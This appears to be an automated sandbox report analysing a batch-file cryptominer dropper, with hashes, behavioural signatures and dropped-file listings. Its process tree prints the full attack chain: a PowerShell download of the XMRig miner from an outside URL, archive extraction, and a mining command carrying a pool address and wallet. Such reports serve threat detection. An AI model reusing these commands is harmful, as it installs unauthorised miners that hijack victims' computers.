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Analysis

  • max time kernel
    1794s
  • max time network
    1805s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 04:40

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2608
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1632

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    81ac8d710b24a8cab9b44ed71ef85810

    SHA1

    9e98a077182b2a5139ea6355dfe4fab904cca940

    SHA256

    ff667ffb3ad77934c5178ce8637cdb2d2aa4d0cc1513104a30bc4164038da1f8

    SHA512

    9900704b378c87743eb616c92df4f71e01684807dc9a5d38379448eff2a85eff516cab4570e329e2c2e27de74a13c6f7495c2f0459de7304eda272a755710756

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_31k30w5z.jzf.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    708KB

    MD5

    0ee48f924c0168c7588cc730623ea9d0

    SHA1

    a526377ec2db00e162276b3613c074d5e8da9814

    SHA256

    8b0b91a37acc609436cfca4db46b3eaff5780dd5a4ac084b6b2c2448797d4afe

    SHA512

    0c694615c3a50621c429f730eb0ad3ca60338b96b92a394aa0100427bf1337935587d48f6d5a87865eef9a4b6bdacbc8c0f84ba623cddca2b726f18cb6824598

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    368KB

    MD5

    988f6c4925928a1d103a76069661af0e

    SHA1

    6b5c4e954b914695359ffd05fcbf1f378d21a13a

    SHA256

    87a99592d083036ec90ff661d719c34a8ea20a69f8899cc2d3f62b9e06415da6

    SHA512

    6cdeb1ceef66d5c96d3cc3de2c0cb571304e932748f0ec9086a2cdc895590eea86065c296d556e6533e23ff004ca0e3a67c2d0fc0aa277715b16c1ab564f3dc9

  • memory/736-4-0x000002441FFF0000-0x0000024420012000-memory.dmp

    Filesize

    136KB

  • memory/736-7-0x00000244201A0000-0x0000024420216000-memory.dmp

    Filesize

    472KB

  • memory/736-17-0x00000244061A0000-0x00000244061B0000-memory.dmp

    Filesize

    64KB

  • memory/736-8-0x00007FFCE0560000-0x00007FFCE0F4C000-memory.dmp

    Filesize

    9.9MB

  • memory/736-18-0x00000244061A0000-0x00000244061B0000-memory.dmp

    Filesize

    64KB

  • memory/736-25-0x00000244061A0000-0x00000244061B0000-memory.dmp

    Filesize

    64KB

  • memory/736-26-0x00007FFCE0560000-0x00007FFCE0F4C000-memory.dmp

    Filesize

    9.9MB

  • memory/736-27-0x00000244061A0000-0x00000244061B0000-memory.dmp

    Filesize

    64KB

  • memory/736-28-0x00000244061A0000-0x00000244061B0000-memory.dmp

    Filesize

    64KB

  • memory/736-29-0x00000244061A0000-0x00000244061B0000-memory.dmp

    Filesize

    64KB

  • memory/736-34-0x00007FFCE0560000-0x00007FFCE0F4C000-memory.dmp

    Filesize

    9.9MB

  • memory/1632-145-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-152-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-189-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-188-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-187-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-186-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-121-0x0000021063CF0000-0x0000021063D10000-memory.dmp

    Filesize

    128KB

  • memory/1632-122-0x0000021065620000-0x0000021065660000-memory.dmp

    Filesize

    256KB

  • memory/1632-123-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-124-0x0000021065660000-0x0000021065680000-memory.dmp

    Filesize

    128KB

  • memory/1632-125-0x0000021065680000-0x00000210656A0000-memory.dmp

    Filesize

    128KB

  • memory/1632-126-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-127-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-128-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-130-0x0000021065680000-0x00000210656A0000-memory.dmp

    Filesize

    128KB

  • memory/1632-129-0x0000021065660000-0x0000021065680000-memory.dmp

    Filesize

    128KB

  • memory/1632-131-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-132-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-133-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-134-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-135-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-136-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-137-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-138-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-139-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-140-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-141-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-142-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-143-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-144-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-185-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-146-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-147-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-148-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-149-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-150-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-151-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-184-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-153-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-154-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-155-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-156-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-157-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-158-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-159-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-160-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-161-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-162-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-163-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-164-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-165-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-166-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-167-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-168-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-169-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-170-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-171-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-172-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-173-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-174-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-175-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-176-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-177-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-178-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-179-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-180-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-181-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-182-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1632-183-0x00007FF6C3EA0000-0x00007FF6C49A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2608-43-0x0000022F59520000-0x0000022F59530000-memory.dmp

    Filesize

    64KB

  • memory/2608-42-0x0000022F59520000-0x0000022F59530000-memory.dmp

    Filesize

    64KB

  • memory/2608-94-0x0000022F71A10000-0x0000022F71A1A000-memory.dmp

    Filesize

    40KB

  • memory/2608-81-0x0000022F71DA0000-0x0000022F71DB2000-memory.dmp

    Filesize

    72KB

  • memory/2608-67-0x0000022F59520000-0x0000022F59530000-memory.dmp

    Filesize

    64KB

  • memory/2608-41-0x00007FFCE0560000-0x00007FFCE0F4C000-memory.dmp

    Filesize

    9.9MB

  • memory/2608-118-0x00007FFCE0560000-0x00007FFCE0F4C000-memory.dmp

    Filesize

    9.9MB